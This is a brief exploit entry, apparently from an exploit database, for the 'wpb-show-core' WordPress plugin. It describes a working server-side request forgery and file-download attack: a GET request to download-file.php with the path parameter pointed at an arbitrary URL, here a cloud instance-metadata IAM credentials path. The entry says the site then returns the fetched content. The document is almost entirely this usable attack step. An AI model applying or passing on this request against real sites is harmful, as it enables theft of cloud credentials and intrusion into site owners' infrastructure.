## https://sploitus.com/exploit?id=WPEX-ID:C0136057-F420-4FE7-A147-ECBEC7E7A9B5
Send a GET request to `wpb-show-core/download-file.php` with the path parameter set to an arbitrary URL
`http://example.com/latest/meta-data/iam/security-credentials/wpb-apps-prod-role`
the website will download/response the files